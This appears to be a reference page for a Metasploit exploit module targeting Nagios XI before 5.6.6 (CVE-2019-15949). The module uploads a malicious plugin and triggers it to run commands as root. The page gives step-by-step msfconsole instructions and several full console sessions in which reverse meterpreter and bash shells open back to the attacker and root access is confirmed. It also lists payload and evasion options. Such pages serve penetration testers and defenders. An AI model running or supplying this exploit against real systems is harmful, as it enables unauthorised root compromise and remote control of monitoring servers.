Nagios XI Prior to 5.6.6 getprofile.sh Authenticated Remote Command Execution - Metasploit
This page contains detailed information about how to use the exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Nagios XI Prior to 5.6.6 getprofile.sh Authenticated Remote Command Execution
Module: exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce
Source code: modules/exploits/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce.rb
Disclosure date: 2019-07-29
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2019-15949
This module exploits a vulnerability in the getprofile.sh script of Nagios XI prior to 5.6.6 in order to upload a malicious check_ping plugin and thereby execute arbitrary commands. For Nagios XI 5.2.0-5.4.13, the commands are run as the nagios user. For versions 5.5.0-5.6.5 the commands are run as root. Note that versions prior to 5.2.0 will still be marked as being vulnerable however this module does not presently support exploiting these targets. The module uploads a malicious check_ping plugin to the Nagios XI server via /admin/monitoringplugins.php and then executes this plugin by issuing a HTTP GET request to download a system profile from the server. For all supported targets except Linux (cmd), the module uses a command stager to write the exploit to the target via the malicious plugin. This may not work if Nagios XI is running in a restricted Unix environment, so in that case the target must be set to Linux (cmd). The module then writes the payload to the malicious plugin while avoiding commands that may not be supported. Valid credentials for a user with administrative privileges are required. This module was successfully tested on Nagios XI 5.3.0 and Nagios 5.6.5, both running on CentOS 7. For vulnerable versions before 5.5.0, it may take a significant amount of time for the payload to get back (up to 5 minutes). If exploitation fails against an older system, it is recommended to increase the WfsDelay setting (default is 300 seconds). See the documentation for more information.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
- config-changes: Module modifies some configuration setting on the target machine.
Basic Usage
msf > use exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce
msf exploit(nagios_xi_plugins_check_plugin_authenticated_rce) > exploit
Required Options
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
PASSWORD: Password to authenticate with
Knowledge Base
Vulnerable Application
This module exploits a vulnerability (CVE-2019-15949) in the getprofile.sh script of Nagios XI before 5.6.6 in
order to execute arbitrary commands. For Nagios XI 5.2.0-5.4.13, the commands are run as the nagios user. For
versions 5.5.0-5.6.5 the commands are run as root.
The module's check method takes advantage of the Msf::Exploit::Remote::HTTP::NagiosXi mixin in order to authenticate
to the target and obtain the Nagios XI version number, which is then used to check if the target is Nagios XI prior
to 5.6.6 and therefore vulnerable. A further check is then done to see if the target is a version prior to 5.2.0, as
these versions are not supported at this time. If this is the case, the module will report that the target is vulnerable
but cannot be exploited at this time and will exit. Otherwise, the module continues.
Next, the module uploads a malicious plugin to the target and subsequently sends an HTTP GET request to profile.php?cmd=download.
This request downloads a system profile from the server and in the process launches the getprofile.sh script as root
via a passwordless sudo entry, resulting in execution of the malicious plugin as the root user.
For all supported targets except Linux (cmd), the module uses a command stager to write the exploit to the target via
a malicious check_ping plugin. However, this method may not work if Nagios XI is running in a restricted Unix environment like
a minimal/custom CentOS installation. In the latter case, a malicious check_ping plugin will still be uploaded, however the
target must be set to Linux (cmd) and it is recommended to use the default cmd/unix/reverse_bash payload.
For vulnerable versions before 5.5.0, it may take a significant amount of time for the payload to get back (up to 5 minutes).
If the target is found to be vulnerable but the module completes without establishing a session,
try increasing the value of WfsDelay (the additional delay when waiting for a session).
The default value of this advanced option is 300 seconds. To check it, run show advanced and look for the WsfDelay option in the output.
Other possible solutions are changing the payload, manually setting the value of the CMDSTAGER::FLAVOR advanced option,
and setting the target to Linux (cmd) as explained above.
Valid credentials for a user with administrative privileges are required. This module was successfully tested on Nagios XI versions 5.3.0 and 5.6.5 running on CentOS 7.
Vulnerable software for testing is available here. Detailed installation instructions are available here and an official video tutorial is available here.
Verification Steps
- Start msfconsole
- Do:
use exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce - Do:
set RHOSTS [IP] - Do:
set USERNAME [username for the Nagios XI account with administrative privileges] - Do:
set PASSWORD [password for the Nagios XI account with administrative privileges] - Do:
set target [target] - Do:
set payload [payload] - Do:
set LHOST [IP] - Do:
exploit
Options
FINISH_INSTALL
If this is set to true, the module will try to finish installing Nagios XI on targets where the installation has not been completed.
This includes signing the license agreement. The default value is false.
PASSWORD
The password for the Nagios XI account to authenticate with.
TARGETURI
The base path to Nagios XI. The default value is /nagiosxi/.
USERNAME
The username for the Nagios XI account to authenticate with. The default value is nagiosadmin.
Targets
Id Name
-- ----
0 Linux (x86)
1 Linux (x64)
2 Linux (cmd)
Scenarios
Nagios XI 5.6.5 running on CentOS 7 - Linux (x86) target
msf6 > use exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set rhosts 192.168.1.14
rhosts => 192.168.1.14
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set lhost 192.168.1.28
lhost => 192.168.1.28
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set password nagiosadmin
password => nagiosadmin
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set target 0
target => 0
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > show options
Module options (exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
FINISH_INSTALL false no If the Nagios XI installation has not been completed, try to do so
. This includes signing the license agreement.
PASSWORD nagiosadmin yes Password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.1.14 yes The target host(s), range CIDR identifier, or hosts file with synt
ax 'file:'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an
address on the local machine or 0.0.0.0 to listen on all addresses
.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI /nagiosxi/ yes The base path to the Nagios XI application
URIPATH no The URI to use for this exploit (default is random)
USERNAME nagiosadmin yes Username to authenticate with
VHOST no HTTP server virtual host
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.1.28 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Linux (x86)
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > run
[*] Started reverse TCP handler on 192.168.1.28:4444
[*] Executing automatic check (disable AutoCheck to override)
[*] Attempting to authenticate to Nagios XI...
[+] Successfully authenticated to Nagios XI
[*] Target is Nagios XI with version 5.6.5
[+] The target appears to be vulnerable.
[*] Uploading malicious 'check_ping' plugin...
[*] Command Stager progress - 100.00% done (809/809 bytes)
[+] Successfully uploaded plugin.
[*] Executing plugin...
[*] Waiting up to 300 seconds for the plugin to request the final payload...
[*] Sending stage (980808 bytes) to 192.168.1.14
[*] Meterpreter session 1 opened (192.168.1.28:4444 -> 192.168.1.14:54214) at 2021-04-01 10:59:52 -0400
[*] Deleting malicious 'check_ping' plugin...
[+] Plugin deleted.
meterpreter > getuid
Server username: root @ localhost.localdomain (uid=0, gid=0, euid=0, egid=0)
Nagios XI 5.6.5 running on CentOS 7 - Linux (cmd) target
msf6 > use exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set rhosts 192.168.1.14
rhosts => 192.168.1.14
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set lhost 192.168.1.28
lhost => 192.168.1.28
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set password nagiosadmin
password => nagiosadmin
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set target 2
target => 2
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > show options
Module options (exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
FINISH_INSTALL false no If the Nagios XI installation has not been completed, try to do so
. This includes signing the license agreement.
PASSWORD nagiosadmin yes Password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.1.14 yes The target host(s), range CIDR identifier, or hosts file with synt
ax 'file:'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an
address on the local machine or 0.0.0.0 to listen on all addresses
.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI /nagiosxi/ yes The base path to the Nagios XI application
URIPATH no The URI to use for this exploit (default is random)
USERNAME nagiosadmin yes Username to authenticate with
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.1.28 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
2 Linux (cmd)
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > run
[*] Started reverse TCP handler on 192.168.1.28:4444
[*] Executing automatic check (disable AutoCheck to override)
[*] Attempting to authenticate to Nagios XI...
[+] Successfully authenticated to Nagios XI
[*] Target is Nagios XI with version 5.6.5
[+] The target appears to be vulnerable.
[*] Uploading malicious 'check_ping' plugin...
[+] Successfully uploaded plugin.
[*] Executing plugin...
[*] Waiting up to 300 seconds for the payload to connect back...
[*] Command shell session 2 opened (192.168.1.28:4444 -> 192.168.1.14:54242) at 2021-04-01 11:02:32 -0400
[*] Deleting malicious 'check_ping' plugin...
[+] Plugin deleted.
id
uid=0(root) gid=0(root) groups=0(root)
Nagios XI 5.3.0 running on CentOS 7 (unfinished installation) - Linux (x64) target
msf6 > use exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set rhosts 192.168.1.16
rhosts => 192.168.1.16
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set lhost 192.168.1.28
lhost => 192.168.1.28
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set password nagiosxi
password => nagiosxi
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set finish_install true
finish_install => true
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > show options
Module options (exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
FINISH_INSTALL true no If the Nagios XI installation has not been completed, try to do so
. This includes signing the license agreement.
PASSWORD nagiosxi yes Password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.1.16 yes The target host(s), range CIDR identifier, or hosts file with synt
ax 'file:'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an
address on the local machine or 0.0.0.0 to listen on all addresses
.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI /nagiosxi/ yes The base path to the Nagios XI application
URIPATH no The URI to use for this exploit (default is random)
USERNAME nagiosadmin yes Username to authenticate with
VHOST no HTTP server virtual host
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.1.28 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Linux (x64)
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > run
[*] Started reverse TCP handler on 192.168.1.28:4444
[*] Executing automatic check (disable AutoCheck to override)
[*] Attempting to authenticate to Nagios XI...
[!] The target seems to be a Nagios XI application that has not been fully installed yet.
[*] Attempting to finish the Nagios XI installation on the target using the provided password. The username will be `nagiosadmin`.
[*] Attempting to authenticate to Nagios XI...
[!] The Nagios XI license agreement has not yet been signed on the target.
[*] Attempting to sign the Nagios XI license agreement...
[*] Attempting to authenticate to Nagios XI...
[+] Successfully authenticated to Nagios XI
[*] Target is Nagios XI with version 5.3.0
[+] The target appears to be vulnerable.
[*] Uploading malicious 'check_ping' plugin...
[*] Command Stager progress - 100.00% done (897/897 bytes)
[!] For NagiosXi version 5.3.0 it may take serveral minutes for a session to open. If the module times out, try increasing the `WfsDelay` value.
[+] Successfully uploaded plugin.
[*] Executing plugin...
[*] Waiting up to 300 seconds for the plugin to request the final payload...
[*] Sending stage (3012516 bytes) to 192.168.1.16
[*] Meterpreter session 1 opened (192.168.1.28:4444 -> 192.168.1.16:36098) at 2021-04-01 10:42:40 -0400
[*] Deleting malicious 'check_ping' plugin...
[+] Plugin deleted.
meterpreter > getuid
Server username: nagios @ localhost.localdomain (uid=1000, gid=1000, euid=1000, egid=1000)
meterpreter >
Nagios XI 5.6.5 running on Ubuntu 20.04 LTS (finished installation) - Linux (x64) target
msf6 > use exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set RHOST 172.25.133.237
RHOST => 172.25.133.237
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set LHOST 172.25.132.121
LHOST => 172.25.132.121
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set LPORT 7712
LPORT => 7712
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set PASSWORD nagiosadmin
PASSWORD => nagiosadmin
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > show options
Module options (exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
FINISH_INSTALL false no If the Nagios XI installation has not been completed, try to do so. This includes s
igning the license agreement.
PASSWORD nagiosadmin yes Password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 172.25.133.237 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the lo
cal machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI /nagiosxi/ yes The base path to the Nagios XI application
URIPATH no The URI to use for this exploit (default is random)
USERNAME nagiosadmin yes Username to authenticate with
VHOST no HTTP server virtual host
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.25.132.121 yes The listen address (an interface may be specified)
LPORT 7712 yes The listen port
Exploit target:
Id Name
-- ----
1 Linux (x64)
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > exploit
[*] Started reverse TCP handler on 172.25.132.121:7712
[*] Executing automatic check (disable AutoCheck to override)
[*] Attempting to authenticate to Nagios XI...
[+] Successfully authenticated to Nagios XI
[*] Target is Nagios XI with version 5.6.5
[+] The target appears to be vulnerable.
[*] Uploading malicious 'check_ping' plugin...
[*] Command Stager progress - 100.00% done (897/897 bytes)
[+] Successfully uploaded plugin.
[*] Executing plugin...
[*] Waiting up to 300 seconds for the plugin to request the final payload...
[*] Sending stage (3012516 bytes) to 172.25.133.237
[*] Meterpreter session 1 opened (172.25.132.121:7712 -> 172.25.133.237:52646) at 2021-04-13 17:39:07 -0500
[*] Deleting malicious 'check_ping' plugin...
[+] Plugin deleted.
meterpreter > getuid
Server username: root @ test-Virtual-Machine (uid=0, gid=0, euid=0, egid=0)
meterpreter > pwd
/usr/local/nagiosxi/html/includes/components/profile
meterpreter > shell
Process 3747 created.
Channel 1 created.
uname -a
Linux test-Virtual-Machine 5.4.0-70-generic #78~18.04.1-Ubuntu SMP Sat Mar 20 14:10:07 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
Go back to menu.
Msfconsole Usage
Here is how the linux/http/nagios_xi_plugins_check_plugin_authenticated_rce exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > show info
Name: Nagios XI Prior to 5.6.6 getprofile.sh Authenticated Remote Command Execution
Module: exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce
Platform:
Arch:
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2019-07-29
Provided by:
Jak Gibb
Erik Wynter
Module side effects:
artifacts-on-disk
ioc-in-logs
config-changes
Module stability:
crash-safe
Available targets:
Id Name
-- ----
0 Linux (x86)
1 Linux (x64)
2 Linux (cmd)
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FINISH_INSTALL false no If the Nagios XI installation has not been completed, try to do so. This includes signing the license agreement.
PASSWORD yes Password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI /nagiosxi/ yes The base path to the Nagios XI application
URIPATH no The URI to use for this exploit (default is random)
USERNAME nagiosadmin yes Username to authenticate with
VHOST no HTTP server virtual host
Payload information:
Avoid: 1 characters
Description:
This module exploits a vulnerability in the getprofile.sh script of
Nagios XI prior to 5.6.6 in order to upload a malicious check_ping
plugin and thereby execute arbitrary commands. For Nagios XI
5.2.0-5.4.13, the commands are run as the nagios user. For versions
5.5.0-5.6.5 the commands are run as root. Note that versions prior
to 5.2.0 will still be marked as being vulnerable however this
module does not presently support exploiting these targets. The
module uploads a malicious check_ping plugin to the Nagios XI server
via /admin/monitoringplugins.php and then executes this plugin by
issuing a HTTP GET request to download a system profile from the
server. For all supported targets except Linux (cmd), the module
uses a command stager to write the exploit to the target via the
malicious plugin. This may not work if Nagios XI is running in a
restricted Unix environment, so in that case the target must be set
to Linux (cmd). The module then writes the payload to the malicious
plugin while avoiding commands that may not be supported. Valid
credentials for a user with administrative privileges are required.
This module was successfully tested on Nagios XI 5.3.0 and Nagios
5.6.5, both running on CentOS 7. For vulnerable versions before
5.5.0, it may take a significant amount of time for the payload to
get back (up to 5 minutes). If exploitation fails against an older
system, it is recommended to increase the WfsDelay setting (default
is 300 seconds). See the documentation for more information.
References:
https://nvd.nist.gov/vuln/detail/CVE-2019-15949
https://github.com/jakgibb/nagiosxi-root-rce-exploit
Module Options
This is a complete list of options available in the linux/http/nagios_xi_plugins_check_plugin_authenticated_rce exploit:
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > show options
Module options (exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
FINISH_INSTALL false no If the Nagios XI installation has not been completed, try to do so. This includes signing the license agreement.
PASSWORD yes Password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI /nagiosxi/ yes The base path to the Nagios XI application
URIPATH no The URI to use for this exploit (default is random)
USERNAME nagiosadmin yes Username to authenticate with
VHOST no HTTP server virtual host
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Linux (x64)
Advanced Options
Here is a complete list of advanced options supported by the linux/http/nagios_xi_plugins_check_plugin_authenticated_rce exploit:
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > show advanced
Module advanced options (exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, bourne, debug_asm, debug_write, echo, printf, vbs, vbs_adodb, certutil, tftp, wget, curl, fetch, lwprequest, psh_i
nvokewebrequest)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
ForceExploit false no Override check result
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 300 no Additional delay in seconds to wait for a session
Payload advanced options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/nagios_xi_plugins_check_plugin_authenticated_rce module can exploit:
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > show targets
Exploit targets:
Id Name
-- ----
0 Linux (x86)
1 Linux (x64)
2 Linux (cmd)
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/nagios_xi_plugins_check_plugin_authenticated_rce exploit:
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/linux/x64/exec normal No Linux Execute Command
4 payload/linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
5 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
6 payload/linux/x64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
7 payload/linux/x64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
8 payload/linux/x64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
9 payload/linux/x64/pingback_bind_tcp normal No Linux x64 Pingback, Bind TCP Inline
10 payload/linux/x64/pingback_reverse_tcp normal No Linux x64 Pingback, Reverse TCP Inline
11 payload/linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
12 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
13 payload/linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
14 payload/linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
15 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
16 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
17 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/nagios_xi_plugins_check_plugin_authenticated_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
